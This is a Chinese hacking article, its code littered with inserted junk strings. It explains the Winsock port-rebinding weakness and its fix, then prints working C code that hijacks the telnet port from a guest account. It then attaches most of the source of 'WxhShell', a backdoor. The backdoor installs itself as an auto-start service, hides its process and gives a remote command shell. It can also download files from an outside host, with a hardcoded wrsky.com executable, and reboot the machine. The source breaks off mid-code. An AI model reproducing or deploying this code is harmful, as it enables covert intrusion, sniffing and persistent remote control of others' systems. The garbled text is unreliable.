在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
Y?{L:4cRX s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
`lRZQ:27X j[.R|I|
saddr.sin_family = AF_INET;
N~=p+Ow[H ts<5%{M( saddr.sin_addr.s_addr = htonl(INADDR_ANY);
C C;T[b& c0sU1:e0 bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
t$m268m~ y9cW&rDH 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
hl(M0cxEWP Cdin" 这意味着什么?意味着可以进行如下的攻击:
"M3R}<Vt uosFpa 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
\25Rq/&w T<=Ci?C
v 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
)+'FTz` c @{_[bKg 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
-R?~Yysd7K +[<|TT 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
7q&Ru|T33 .z^ePZ|mV 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
zYvf}L&]h 8$xd;+`y' 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
mJ2>#j;5f Y;O\ >o[ 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
N,0l5fD~T kAsYh4[ #include
f"\G"2C #include
(j@3=-%6 G #include
D(yU:^L #include
*e&OpVn DWORD WINAPI ClientThread(LPVOID lpParam);
&U^6N+l9 int main()
rvgArFf}] {
]?whx&+ WORD wVersionRequested;
8=Xy19<;t DWORD ret;
s.d }*H-o WSADATA wsaData;
d~M;@<eD BOOL val;
M0YV Qa SOCKADDR_IN saddr;
4D=p#KZ SOCKADDR_IN scaddr;
gXBC=
?jl int err;
tgCEz% SOCKET s;
se(ZiyHp SOCKET sc;
D[yOFJ~p) int caddsize;
j
qfxQ HANDLE mt;
H`odQkZ! DWORD tid;
%C^U?m` wVersionRequested = MAKEWORD( 2, 2 );
:Q@=;P2 err = WSAStartup( wVersionRequested, &wsaData );
FR"yGx#$ if ( err != 0 ) {
fs_6`Xt printf("error!WSAStartup failed!\n");
}F=scbpXj return -1;
8 h }
M S$^m2 saddr.sin_family = AF_INET;
FW~%xUSE5 $9k7A 8K //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
f_2tMiy5 P(D0ru saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
IhoV80b saddr.sin_port = htons(23);
i P gewjx if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
29p`G1n {
\wwY?lOe printf("error!socket failed!\n");
Q}zAC2@L return -1;
/UtCJMQ }
5i `q val = TRUE;
US3rkkgDO //SO_REUSEADDR选项就是可以实现端口重绑定的
lMoi5q if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
`/$yCXy {
: $4
atm printf("error!setsockopt failed!\n");
rG)K? B~ return -1;
\ t4:(Jp 3 }
nQbF~ //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
"5:^aC] //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
X!#rw= Q //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
v0Ww~4|], M+4>l\ if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
fl%X>\i/7 {
{6d)|';% ret=GetLastError();
o,}`4_N|| printf("error!bind failed!\n");
,v(K|P@ return -1;
r1dP9MT\8 }
pD;'uEFBQ listen(s,2);
,tqMMBwC~_ while(1)
3Run.Gv\ {
V/xGk9L~ caddsize = sizeof(scaddr);
*q**,_?; //接受连接请求
UolsF-U}' sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
bWU4lPfP if(sc!=INVALID_SOCKET)
cXP*?N4Cf {
t6m&+N mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
`P/7Mf if(mt==NULL)
|Rk9W {
Z{&dzc printf("Thread Creat Failed!\n");
3Ov? kWFO break;
tgeX~. }
#( G>J4E, }
j8gw]V/B: CloseHandle(mt);
+$_.${uwV }
}e[;~g\& closesocket(s);
n~`1KC4 WSACleanup();
zb<YYJ] return 0;
'VVEd[ }
;QZ}$8D 6Q DWORD WINAPI ClientThread(LPVOID lpParam)
rZ[}vU/H` {
zX=K2tH SOCKET ss = (SOCKET)lpParam;
4R<bfZ43 SOCKET sc;
5MU-Eu|*> unsigned char buf[4096];
dZ]['y% SOCKADDR_IN saddr;
e0rh~@E long num;
0i%r+_E_ DWORD val;
SbrKNADH% DWORD ret;
NmbA~i //如果是隐藏端口应用的话,可以在此处加一些判断
vxN,oa{hf //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
G!Gbg3:4e5 saddr.sin_family = AF_INET;
P[Q3z$I} saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
~\uI&S5 saddr.sin_port = htons(23);
S:b-+w|* if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
]dvNUD {
m[l[yUw# printf("error!socket failed!\n");
mQ~0cwo) return -1;
/<"<N<X }
#>[BSgW val = 100;
.r=F'i}-j* if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
b9 Gq';o {
}\
^J:@ ret = GetLastError();
OH+kN/Fd return -1;
Lt8J^}kwl }
YC,)t71l{ if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
Wycood* {
#H8% BZyV ret = GetLastError();
>s*ZT%TF return -1;
! J7ExfEA }
5}v<?<l9\ if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
TDqH"q0 {
fm u;Pb]r printf("error!socket connect failed!\n");
a8Va3Y closesocket(sc);
o'#ow(X closesocket(ss);
E![Ye@w return -1;
^/`W0kT }
Ej;BI#gx= while(1)
{`KRr:w {
r0xmDJ@y //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
]; CTr0 //如果是嗅探内容的话,可以再此处进行内容分析和记录
DERhmJ;>H //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
6 +2M$3_U num = recv(ss,buf,4096,0);
* |dz.Tr if(num>0)
q`u ^ sc send(sc,buf,num,0);
Ja`xG{~Y7i else if(num==0)
#gQaNc? break;
#.KVT#%~{ num = recv(sc,buf,4096,0);
%qI.Qw$ if(num>0)
,\]`X7r send(ss,buf,num,0);
WciL
zx/ else if(num==0)
)fGIe rS break;
39!$x[ }
;5cN
o& closesocket(ss);
ZUg~8VVe closesocket(sc);
|L }1@0i return 0 ;
)0\"8}! }
qcWY8sYf .5s#JL gS
VWv9+ ==========================================================
_Qh:*j! *i`t4N
A 下边附上一个代码,,WXhSHELL
iCZuE:I1K, PKxI09B ==========================================================
YU]|N'mL2 ' 5F3,/r #include "stdafx.h"
KFuPgp ^F="'/Pq[ #include <stdio.h>
vAV{HBQ* #include <string.h>
9$~a&lXO5 #include <windows.h>
C2a2K={ #include <winsock2.h>
Fk4T>8q2; #include <winsvc.h>
WL#E%6p[ #include <urlmon.h>
!:^?GN #~x QT<\E`v #pragma comment (lib, "Ws2_32.lib")
f6$$e+ #pragma comment (lib, "urlmon.lib")
\OlB(%E7 Yvn*evO4 #define MAX_USER 100 // 最大客户端连接数
R?Ou=p
. #define BUF_SOCK 200 // sock buffer
>@ : m#d #define KEY_BUFF 255 // 输入 buffer
=^5,ua6 ag*5fBF #define REBOOT 0 // 重启
Y<WA-dYoF #define SHUTDOWN 1 // 关机
>;NiG)Z @
=XJ< #define DEF_PORT 5000 // 监听端口
E&_q"jJRi ?cvV~&$gc #define REG_LEN 16 // 注册表键长度
mzGMYi* #define SVC_LEN 80 // NT服务名长度
0nu&JQ HB0DG<c- // 从dll定义API
Hl*V i3bQU typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
-(FhjIr typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
:T9 P9< typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
`P43O gA typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
/>0
Bm`A tmgZNg
// wxhshell配置信息
.[Nr2w:> struct WSCFG {
G)8H9EV int ws_port; // 监听端口
pH/_C0e`7 char ws_passstr[REG_LEN]; // 口令
2E$K='H:, int ws_autoins; // 安装标记, 1=yes 0=no
p\G1O*Z char ws_regname[REG_LEN]; // 注册表键名
i[O{M`Z% char ws_svcname[REG_LEN]; // 服务名
0qSf7"3f char ws_svcdisp[SVC_LEN]; // 服务显示名
:={rPj-nU char ws_svcdesc[SVC_LEN]; // 服务描述信息
MD+e!A# o char ws_passmsg[SVC_LEN]; // 密码输入提示信息
k+%c8w 9 int ws_downexe; // 下载执行标记, 1=yes 0=no
g><itA? char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
3[cGSI"+ char ws_filenam[SVC_LEN]; // 下载后保存的文件名
6Q~(ibKx /$=<RUE };
jG^f_w ]z#9)i_l3 // default Wxhshell configuration
2SRmh!hr struct WSCFG wscfg={DEF_PORT,
(/e[n.T "xuhuanlingzhe",
>E\U$}WCG 1,
o56UlN "Wxhshell",
:7L[v9' "Wxhshell",
XQI!G_\+C "WxhShell Service",
=EQaZ8k "Wrsky Windows CmdShell Service",
&j!q9F "Please Input Your Password: ",
*OU&`\bmE 1,
QqCwyK0 "
http://www.wrsky.com/wxhshell.exe",
Prqr, "Wxhshell.exe"
u_'XUJ32! };
D&|HS! _`d=0l*8 // 消息定义模块
|,lw$k93 char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
G"|c_qX char *msg_ws_prompt="\n\r? for help\n\r#>";
a?]~Sw"@ char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
0kxe5*-| char *msg_ws_ext="\n\rExit.";
wfq}NK; char *msg_ws_end="\n\rQuit.";
[ n2)6B\/ char *msg_ws_boot="\n\rReboot...";
abtYa char *msg_ws_poff="\n\rShutdown...";
z *~rd2 char *msg_ws_down="\n\rSave to ";
LjY@b yGE)EBH char *msg_ws_err="\n\rErr!";
vhz Q.> char *msg_ws_ok="\n\rOK!";
dz,4);Mg a(IZ2Zmr char ExeFile[MAX_PATH];
flS_rY5 int nUser = 0;
jVInTR0f[ HANDLE handles[MAX_USER];
~ea&1+Z[3 int OsIsNt;
5z@QAQ (&oT6Ji SERVICE_STATUS serviceStatus;
<hB~|a<# SERVICE_STATUS_HANDLE hServiceStatusHandle;
.s`7n
*xz sUN9E4 // 函数声明
CW'<Nh int Install(void);
qLk7C0 int Uninstall(void);
[WN2ZQ int DownloadFile(char *sURL, SOCKET wsh);
6'\VPjt int Boot(int flag);
Wf>=^ ~` void HideProc(void);
^^kL.C Ym int GetOsVer(void);
Dy^A??A[E} int Wxhshell(SOCKET wsl);
U{ZKxE void TalkWithClient(void *cs);
(Z#j^}G_l int CmdShell(SOCKET sock);
{9|S,<9 int StartFromService(void);
Q'c[yu int StartWxhshell(LPSTR lpCmdLine);
/[=U$=uH 0khAi|PY VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
drd5oZ VOID WINAPI NTServiceHandler( DWORD fdwControl );
uYMH5Om+i 8c' 5P // 数据结构和表定义
)(W%Hmi SERVICE_TABLE_ENTRY DispatchTable[] =
an,JV0 {
bw*D!mm, {wscfg.ws_svcname, NTServiceMain},
~'t+X {NULL, NULL}
c'uDK> };
:8l#jU`y ]:Sb#=,!&! // 自我安装
mL3 Q int Install(void)
3Nk
) {
?7Skk char svExeFile[MAX_PATH];
?Suv.!wfLl HKEY key;
E#/vgm=W; strcpy(svExeFile,ExeFile);
(&xIBF_6 tN-B`d1 // 如果是win9x系统,修改注册表设为自启动
7-2,|(Xg if(!OsIsNt) {
&U{"dJ r if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
'aJm4W&j RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
wY_! s Qo RegCloseKey(key);
?jHu, if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
v.{I^= RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
uV\~2#o$_ RegCloseKey(key);
L,*# return 0;
Dt
Ry%fA_ }
i$dF0.}Q }
;0;5+ J7 }
#r;uM+ else {
Rkh
^|_<! $X]Z-RCK3 // 如果是NT以上系统,安装为系统服务
R*>EbOuI SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
Yy4l -} " if (schSCManager!=0)
7U`8W\- {
PLs(+>H SC_HANDLE schService = CreateService
V<0J j (
7!('+x(> schSCManager,
)d7U3i wscfg.ws_svcname,
4<y|SI! wscfg.ws_svcdisp,
mcLxX'c6<h SERVICE_ALL_ACCESS,
A}z1~Z+ SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
YA*E93 J0 SERVICE_AUTO_START,
G:Cgq\+R SERVICE_ERROR_NORMAL,
!AFii:# svExeFile,
4 ky/a1y- NULL,
Fu"@)xw/-q NULL,
;1L7+.A NULL,
*}Nh7>d( NULL,
!?J?R-C NULL
5gbD|^ij );
7oFA5T _ if (schService!=0)
&~sk7iGi {
X:d[eAu0 CloseServiceHandle(schService);
P(Z\y^S CloseServiceHandle(schSCManager);
Ops""#Zi strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
@W\H%VR strcat(svExeFile,wscfg.ws_svcname);
^5~)m6=2 if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
9Lqo^+0)\ RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
D[bPm:\0M RegCloseKey(key);
~PiCA return 0;
?PDrj/: * }
X2to](\%X }
-`d(>ok CloseServiceHandle(schSCManager);
Wm>AR? b }
*[0)]|r }
hnnPi Y"'k $jS- return 1;
VDC"tSQ }
(*dJ
*tL1t\jY // 自我卸载
o!}/&
'( int Uninstall(void)
{pM3f {
o>oZh1/\T, HKEY key;
V SUz+W 2~q(?wY if(!OsIsNt) {
ff<adl- if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
O>sE~~g]? RegDeleteValue(key,wscfg.ws_regname);
Ll'!aar, RegCloseKey(key);
\'Ewn8Qv8 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
WDQw)EUl& RegDeleteValue(key,wscfg.ws_regname);
l$eKV(CZ4 RegCloseKey(key);
?8aPd"x return 0;
u(P;) E"1 }
<nE |Y@S }
<n|.Z-gF\ }
Q5pm^X._j else {
jN^09T49 ,Z p9,nf SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
:R9 DJh\ if (schSCManager!=0)
/7-qb^V {
NzuH&o][ SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
:h)A/k_ if (schService!=0)
@AAkEWo)_ {
1PdxoRa4= if(DeleteService(schService)!=0) {
Trwk9 + CloseServiceHandle(schService);
MtIhpTX CloseServiceHandle(schSCManager);
ZeP3
Yjr3 return 0;
z]F4Z'(e. }
32ae? d CloseServiceHandle(schService);
m=p<.%a }
AC9#!#
OGB CloseServiceHandle(schSCManager);
mB]Y;R< }
\J?5Kl[*c }
>5}jM5$ Dt8wd,B return 1;
C*fSPdg? }
I\peO/w |?
l6S // 从指定url下载文件
n*U+jc int DownloadFile(char *sURL, SOCKET wsh)
_I}rQfPJ {
xtP=/B/ HRESULT hr;
Hxzdxwz%$ char seps[]= "/";
hg=BXe4: char *token;
1O]27"9 char *file;
uSi/| char myURL[MAX_PATH];
Je~d/,^WU char myFILE[MAX_PATH];
~ E|L4E MX#MDA-4 strcpy(myURL,sURL);
Z`lCS
o; token=strtok(myURL,seps);
*^5..0du while(token!=NULL)
%Jc>joU {
x#s=eeP1 file=token;
VIjsz42C token=strtok(NULL,seps);
|xQq+e}l< }
M`kR2NCi ,"!P{c GetCurrentDirectory(MAX_PATH,myFILE);
6X.lncE@p strcat(myFILE, "\\");
!rMl" Y[ strcat(myFILE, file);
4$<-3IP, send(wsh,myFILE,strlen(myFILE),0);
^>f jURR send(wsh,"...",3,0);
7,N>u8cTh hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
#Zy-X_r if(hr==S_OK)
)wwQv2E return 0;
X[
o9^< else
"x$RTuWA9 return 1;
KGI0|Z]n~ 7VwLyy }
P"WnU'+ (W l5F
// 系统电源模块
32*FI SH^ int Boot(int flag)
'ehJr/0&g {
,3{z_Rax- HANDLE hToken;
\Ow-o0 TOKEN_PRIVILEGES tkp;
bUp
,vc* ?>p<!:E!r if(OsIsNt) {
2W=(
{e)$ OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
6:Nz=sw8 LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
cn4CK.? tkp.PrivilegeCount = 1;
G;%Pf9o26 tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
6T_Mk0Sf+ AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
buhn~ c if(flag==REBOOT) {
F"-w if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
$LF return 0;
Bjz\L0d }
s2@}01QPo else {
_~`\TS8 if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
]<;m;/H return 0;
Svmyg] }
b:}`O!UBw }
Z Tx~+'( else {
wxg`[c$: if(flag==REBOOT) {
RJ_ratKN*g if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
<(Wa8PY2( return 0;
<M1XG7_I }
g&*pk5V> else {
xwj%X%2 if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
dsP1Zq return 0;
!(hP{k ^g }
OT9\K_ }
J(\"\Z nNIV( return 1;
C'hI{4@P }
_|ucC$* WRJ+l_81 // win9x进程隐藏模块
Xz=MM0o void HideProc(void)
w49Wl>M {
b\%=mN OH28H),} HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
&DFe+y~PR if ( hKernel != NULL )
$;_'5`xs {
,$habq=; pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
m%$z&<! ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
l|ZwZix FreeLibrary(hKernel);
cK>5!2b }
>qjr7 vx #(jozl_8 return;
\>j._# t$h }
TD-d5P^Kek EvMhNq~y5 // 获取操作系统版本
Oah}7!a) int GetOsVer(void)
S zOB{ {
:rb<mg[ OSVERSIONINFO winfo;
A>$VkGo winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
i_ 4FxC4 GetVersionEx(&winfo);
r6Z&i^cMe if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
}(-R`.e; return 1;
#Xri%&~ else
ke~O+] return 0;
jz|zq\Eek }
\qAMs^1- y'Xg" // 客户端句柄模块
+7o3TA]- int Wxhshell(SOCKET wsl)
e+=Oj o# {
kRskeMr:Rd SOCKET wsh;
$6:j3ZTXrt struct sockaddr_in client;
|Gjd DWORD myID;
nD.4c-hd$q @.-g while(nUser<MAX_USER)
,:-S<]fS{_ {
(^eSm]< int nSize=sizeof(client);
IR>^U wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
.F.4fk if(wsh==INVALID_SOCKET) return 1;
l_u1 ~ K _{,e-_hYM handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
MyuFZ7Q4$ if(handles[nUser]==0)
mY.[AIB closesocket(wsh);
sRo%=7Z else
[S":~3^B6 nUser++;
>E?626* }
W)V"QrFK WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
[Y*p
I&f d>NElug return 0;
r M'snW) }
4NwGP^n Y{@ez
// 关闭 socket
&^1DNpUZ void CloseIt(SOCKET wsh)
~LHG {
IZ3w.:A closesocket(wsh);
^MUtmzh nUser--;
Ol"p^sqwj ExitThread(0);
vN7a)s }
aD3'gc,l B4GgR,P@S // 客户端请求句柄
~tDV{ml void TalkWithClient(void *cs)
T eG5|`t], {
6{}]QvR (ui"vLk8PP SOCKET wsh=(SOCKET)cs;
Z KnEg2a char pwd[SVC_LEN];
eUVE8pZl char cmd[KEY_BUFF];
F)lDK. char chr[1];
rjQV;kX> int i,j;
hp,bfcM
Eti;(>"@ while (nUser < MAX_USER) {
G(|ki9^@"9 {DBgW}, if(wscfg.ws_passstr) {
8@Xq ,J if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
KCDEMs}}zM //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
ar=uDb; //ZeroMemory(pwd,KEY_BUFF);
Kw&J<H i=0;
'wLQ9o%=p| while(i<SVC_LEN) {
^{-J Y +QuaQ% lA // 设置超时
g-meJhX% fd_set FdRead;
Am!$\T%2 struct timeval TimeOut;
&BCl>^wn} FD_ZERO(&FdRead);
o{?s\)aBa FD_SET(wsh,&FdRead);
cW26TtU( TimeOut.tv_sec=8;
%Ox*?l _ TimeOut.tv_usec=0;
?A2#V(4 int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
br>"96A1l if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
{G/4#r
2> _%;$y5]v if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
OYgD9T.8^ pwd
=chr[0]; 3F[z]B
if(chr[0]==0xd || chr[0]==0xa) { 1N1MD@C?P
pwd=0; 4{X5ZS?CkI
break;
C*b!E:
} zy8W8h(?
i++; +I5@Gys
} eL#pS=
}9aYU;9D
// 如果是非法用户,关闭 socket -j`tBv)
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 5"c#OU
} :U0z;
eFp4MD8?
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); B~V^?."
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 41^+T<+
7<mY{!2iF?
while(1) { h:<pEL
!BP/#
ZeroMemory(cmd,KEY_BUFF); "D2`=D!+
,*Tf9=z
// 自动支持客户端 telnet标准 .4Jea#M&x
j=0; `Ou\:Iz0u
while(j<KEY_BUFF) { zdzTJiY2[Z
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 4H]Go~<
cmd[j]=chr[0]; Im+<oZ
if(chr[0]==0xa || chr[0]==0xd) { TPt<(-}W
cmd[j]=0; /^G1wz2
break; 6OF&Q`*4
} ib0M$Y1tIS
j++; `!kOyh:X
} CQW#o_\
{l%Of
// 下载文件 ,H2[["1DH
if(strstr(cmd,"http://")) { c-z
,}`
send(wsh,msg_ws_down,strlen(msg_ws_down),0); 81O`#DfZ
if(DownloadFile(cmd,wsh)) 5yI_uQR
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 4)!aYvaER
else :,Q\!s!
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ly7\H3
} {k%*j 4
else { ']4b}F:}
b\Y<1EV^[
switch(cmd[0]) { ZO5_n
.EM0R\q
// 帮助 0WaC.C+2i
case '?': { PF2PMEBx!
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); *R m>bLI
break; 75u/'0~5
} mQhI"3!f
// 安装 9i*t3W71]
case 'i': { a"EX<6"
if(Install()) |77.Lqqy,
send(wsh,msg_ws_err,strlen(msg_ws_err),0); B<u6Z!Pp2
else *8M0h9S$
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); <kN4@bd;
break; / Of*II&
} J70#pF
// 卸载 (,
/`*GC
case 'r': { __fa,kK {?
if(Uninstall()) )q8w+'z
send(wsh,msg_ws_err,strlen(msg_ws_err),0); J cL4q\g
else :3pJGMv(
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0);
V##=-KZ
break; {Iy<iV
} xeF0^p7Z
// 显示 wxhshell 所在路径 c
Owa^;
case 'p': { 0?8O9i
char svExeFile[MAX_PATH]; <^c?M[j
strcpy(svExeFile,"\n\r"); y[:\kI
strcat(svExeFile,ExeFile); 9=O`?$y
send(wsh,svExeFile,strlen(svExeFile),0); l=ehoyER
break; ~[l6;bn
} u9ObFm$7
// 重启 6c,]N@,Zw
case 'b': { 0+L:+S
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); D1rXTI$$
if(Boot(REBOOT)) ;gLHSHEA
send(wsh,msg_ws_err,strlen(msg_ws_err),0); ecDni>W
else { V9&7K65-1
closesocket(wsh); kU{+@MA;
ExitThread(0); @E;'Ffo
} XP'<\
break; gBp,p\ Xc
} d7waBsf
// 关机 kH/u]+_
case 'd': { W/DSj :
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); "HX,RJ
@^K
if(Boot(SHUTDOWN)) XHs>Q>`
send(wsh,msg_ws_err,strlen(msg_ws_err),0); xucrp::g
else { wCw-EGLR
closesocket(wsh); %Xc50n2Z
ExitThread(0); w.Cw)#N
} qWX%[i%
break; 7iMBDkb7
} Hvqvggfi
// 获取shell A#;6~f
case 's': { kZ7\zbN>
CmdShell(wsh); $;7,T~{
closesocket(wsh); w=Ai?u
ExitThread(0); 4efIw<1_
break; $/*19e~
} (#I$4Px{
// 退出 KmS$CFsGL
case 'x': { (mbC! !>
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); UdO(9Jc5^
CloseIt(wsh); 9<0TF+}>
break; 0<tce
} ^{Wx\+*!
// 离开 [PG#5.jwQ
case 'q': { zwJB.4@
send(wsh,msg_ws_end,strlen(msg_ws_end),0); (=&z:-52V
closesocket(wsh); dpG l
WSACleanup(); >=Bl/0YH
exit(1); -KV)1kET
break; sNB*S{
} vd<r}3i*
} X!H[/b:1O
} K/WnK:LU
X 4L"M%i
// 提示信息 K^32nQX
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 5i71@?q;
} PL"u^G`
} V /i~IG`h/
T:FaD V{
return; )/4eT\ =
} a(.q=W
&[
oW"Q{
// shell模块句柄 1. A@5* Q
int CmdShell(SOCKET sock) 6=N!()s
{ f2h`bO
STARTUPINFO si; B
]*v{?<W
ZeroMemory(&si,sizeof(si)); T{WJf-pI
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; JG^fu*K
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; wFbw3>'a9
PROCESS_INFORMATION ProcessInfo; `-_kOxe3
char cmdline[]="cmd"; PFR64HK2
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); OVq(ulwi+
return 0; 2/o_,k
} z`]sWi F0
QC\r|RXW
// 自身启动模式 #su R[K*S
int StartFromService(void) Z$*m=]2
{ ,8.Fd|#L
typedef struct 813t=A
{ (1%O;D.*?{
